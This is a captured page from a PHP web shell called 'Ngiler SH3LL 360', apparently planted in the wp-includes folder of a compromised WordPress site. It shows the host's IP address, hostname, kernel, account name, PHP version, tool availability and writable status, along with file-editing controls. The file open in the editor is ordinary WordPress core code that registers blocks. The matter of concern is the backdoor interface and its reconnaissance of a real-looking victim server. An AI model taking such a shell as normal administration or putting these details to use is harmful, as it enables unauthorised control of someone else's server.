Ngiler SH3LL 360
Home
Information
Create File
Create Folder
:
/
home
/
tbf
/
public_html_old
/
wp-includes
/
blocks
/
Information Server
MySQL :
OFF
Perl :
OFF
CURL :
ON
WGET :
OFF
PKEXEC :
OFF
Directive
Local Value
IP Address
89.40.16.97
System
Linux server.atelieruldeit.ro 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
User
tbf
PHP Version
7.3.33
Software
Apache
Doc root
Writable
close
Edit File :
index.php
| Size :
1.48
KB
Copy
<?php /** * Used to set up all core blocks used with the block editor. * * @package WordPress */ // Include files required for core blocks registration. require ABSPATH . WPINC . '/blocks/archives.php'; require ABSPATH . WPINC . '/blocks/block.php'; require ABSPATH . WPINC . '/blocks/calendar.php'; require ABSPATH . WPINC . '/blocks/categories.php'; require ABSPATH . WPINC . '/blocks/latest-comments.php'; require ABSPATH . WPINC . '/blocks/latest-posts.php'; require ABSPATH . WPINC . '/blocks/rss.php'; require ABSPATH . WPINC . '/blocks/search.php'; require ABSPATH . WPINC . '/blocks/shortcode.php'; require ABSPATH . WPINC . '/blocks/social-link.php'; require ABSPATH . WPINC . '/blocks/tag-cloud.php'; /** * Registers core block types using metadata files. * Dynamic core blocks are registered separately. * * @since 5.5.0 */ function register_core_block_types_from_metadata() { $block_folders = array( 'audio', 'button', 'buttons', 'classic', 'code', 'column', 'columns', 'file', 'gallery', 'group', 'heading', 'html', 'image', 'list', 'media-text', 'missing', 'more', 'nextpage', 'paragraph', 'preformatted', 'pullquote', 'quote', 'separator', 'social-links', 'spacer', 'subhead', 'table', 'text-columns', 'verse', 'video', ); foreach ( $block_folders as $block_folder ) { register_block_type_from_metadata( ABSPATH . WPINC . '/blocks/' . $block_folder ); } } add_action( 'init', 'register_core_block_types_from_metadata' );
Back